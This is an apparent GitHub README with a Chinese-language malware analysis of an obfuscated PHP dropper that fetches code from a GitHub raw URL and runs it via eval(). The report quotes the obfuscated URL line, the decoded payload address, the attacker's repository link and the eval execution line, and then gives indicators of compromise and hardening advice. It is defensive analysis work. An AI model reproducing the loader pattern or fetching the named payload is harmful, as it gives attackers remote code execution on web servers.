securi3ytalent/Malware-Analysis
GitHub: securi3ytalent/Malware-Analysis
一份针对PHP混淆远程加载器的完整恶意软件分析报告,涵盖技术剖析、IOC指标、检测挑战及缓解建议。
Stars: 0 | Forks: 0
## PHP 恶意软件分析:利用 GitHub 的混淆远程加载器

### 执行摘要
下面分析的 PHP 脚本是一个恶意远程加载器(dropper),旨在从外部源获取并执行攻击者控制的 PHP 代码。虽然本地文件看起来很小且无害,但它使宿主服务器具备完整的远程代码执行 (RCE) 能力。
***此恶意软件依赖于:***
- 高强度的字符串混淆
- 环境能力检查
- 滥用受信任的基础设施 (GitHub 原始内容)
- 通过 eval() 进行动态执行
一旦部署,服务器实际上已处于攻击者的控制之下。
### 威胁分类
| 类别 | 值 |
| ---------------- | ------------------------------ |
| 恶意软件类型 | PHP 加载器 / Webshell 投递器 |
| 载荷位置 | 远程 (GitHub) |
| 执行方法 | `eval()` |
| 混淆 | 字符串拼接 |
| 持久化 | 外部 / 受攻击者控制 |
| 严重程度 | **严重** |

### 代码概述
乍一看,该文件:
- 逐个字符构建隐藏的 URL
- 确定获取远程内容的最佳方法
- 下载远程 PHP 载荷
- 直接在内存中执行
实际的恶意逻辑不存在于本地——它是在运行时检索的。
### 技术分析
***1. URL 混淆***
```
$_u = 'h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' . 'r' . 'a' . 'w' . '.' . 'g' . 'i' . 't' . 'h' . 'u' . 'b' . 'u' . 's' . 'e' . 'r' . 'c' . 'o' . 'n' . 't' . 'e' . 'n' . 't' . '.' . 'c' . 'o' . 'm' . '/' . 'i' . 'n' . 'd' . 'o' . 'c' . 's' . 'e' . 'c' . '/' . 'f' . 'u' . 'c' . 'k' . '/' . 'r' . 'e' . 'f' . 's' . '/' . 'h' . 'e' . 'a' . 'd' . 's' . '/' . 'm' . 'a' . 'i' . 'n' . '/' . 'v' . '8' . '.' . 'p' . 'h' . 'p';
```
### ⚠️ 混淆恶意代码
[点击此处查看恶意软件混淆源代码 (backup4.php)](backup4.php)
***解码后的 URL:***
```
https://raw.githubusercontent.com/indocsec/fuck/refs/heads/main/v8.php
```
### ⚠️ 恶意代码
[点击此处查看恶意软件源代码 (v8.php)](v8.php)
***为什么这很重要:***
- 避免基于特征的检测
- 防止通过静态扫描轻易发现
- 向管理员隐藏恶意意图
***使用 GitHub 原始内容允许攻击者:***
- 混迹于合法流量中
- 立即更新载荷
- 绕过基于信誉的过滤器
***2. 安全控制绕过(环境检查)***
```
ini_get('allow_url_fopen')
function_exists('curl_init')
```
恶意软件根据服务器配置动态选择最可靠的数据窃取方法。
***回退逻辑:***
- 如果启用了 ``allow_url_fopen``,则使用 ``file_get_contents()``
- 如果禁用了直接文件访问,则使用 ``cURL``
这显著提高了在共享主机环境中的成功率。
***3. 载荷检索***
这两种方法都会静默下载攻击者控制的 PHP 代码。
主要特征:
- 无需用户输入
- 不写入磁盘文件
- 不验证下载的内容
- 超时时间短,以避免引起怀疑
这使得通过文件监控进行检测变得困难。
***4. 任意代码执行***
```
eval('?>' . call_user_func($_b64, base64_encode($_out)));
```
这是核心恶意行为。
尽管载荷经过了短暂的 base64 编码和解码(技术上是一个无意义的步骤),但结果是:
**以完整的服务器权限执行任意 PHP 代码**
影响包括:
- Webshell 部署
- 数据库访问
- 凭据盗窃
- 托管垃圾邮件或钓鱼内容
- 横向移动
***5. 欺骗性错误处理***
```
echo 'Gagal load';
```
“Gagal load” 翻译为“加载失败”(印尼语)。
这是故意的:
- 看起来像是一个损坏的插件或备份
- 降低管理员的怀疑
- 延迟调查
### 入侵指标 (IOC)
***可疑的 PHP 模式***
- 使用 'a'.'b'.'c' 的混淆字符串
- 带有远程内容的 eval()
- 用于常见函数的 call_user_func()
- 函数名的动态构造
- PHP 内部的 GitHub 原始 URL
**行为指标**
- 意外的出站 HTTP(S) 请求
- 发起网络流量的 PHP 进程
- 命名为 `backup, cache, old, tmp` 的新 PHP 文件
### 检测挑战
此恶意软件通常显示出较低的防病毒检测率,因为:
- 本地不存在静态载荷
- 真正的恶意软件是在运行时获取的
- 许多扫描程序不模拟 PHP 执行
- GitHub 是一个受信任的域
单一启发式检测是预期结果,并不令人放心。
## 缓解与响应
### 立即采取的行动
- **立即删除该文件**
- **假设服务器已完全沦陷**
- **轮换所有凭据**,包括:
- 数据库用户名和密码
- FTP / SFTP 凭据
- SSH 密钥和密码
- **检查 Web 服务器日志**,查找可疑的出站 HTTP/HTTPS 连接
- **在整个代码库中搜索类似的混淆模式**(字符串拼接、`eval()`、`call_user_func()`)
### 加固建议
- 在 `php.ini` 中禁用 `allow_url_fopen`
- 限制或完全禁用 `eval()` 的使用
- 强制执行 `open_basedir` 限制
- 监控来自 Web 服务器的出站网络流量
- 部署 **文件完整性监控 (FIM)** 以检测未经授权的文件更改
## 为什么此恶意软件有效
- 磁盘占用极小
- 服务器上未存储本地载荷
- 滥用受信任的基础设施(例如,GitHub 原始内容)
- 简单但高度可靠的执行逻辑
- 在低成本的共享主机环境中非常有效
## 📌 黑客账户 / 工具仓库
***查看此 GitHub 仓库:***
🔗 [点击此处查看黑客账户 / 工具仓库](https://github.com/indocsec/fuck)
标签:DAST, DNS 反向解析, DNS通配符暴力破解, Dropper, eval后门, ffuf, GitHub滥用, IP 地址批量处理, PHP恶意软件, RCE, Webshell, Web安全, 代码混淆, 动态执行, 可信基础设施滥用, 威胁情报, 字符串拼接混淆, 开发者工具, 恶意软件分析, 编程工具, 网页分析工具, 蓝队分析, 运行时注入, 远程代码执行, 远程加载器, 防御加固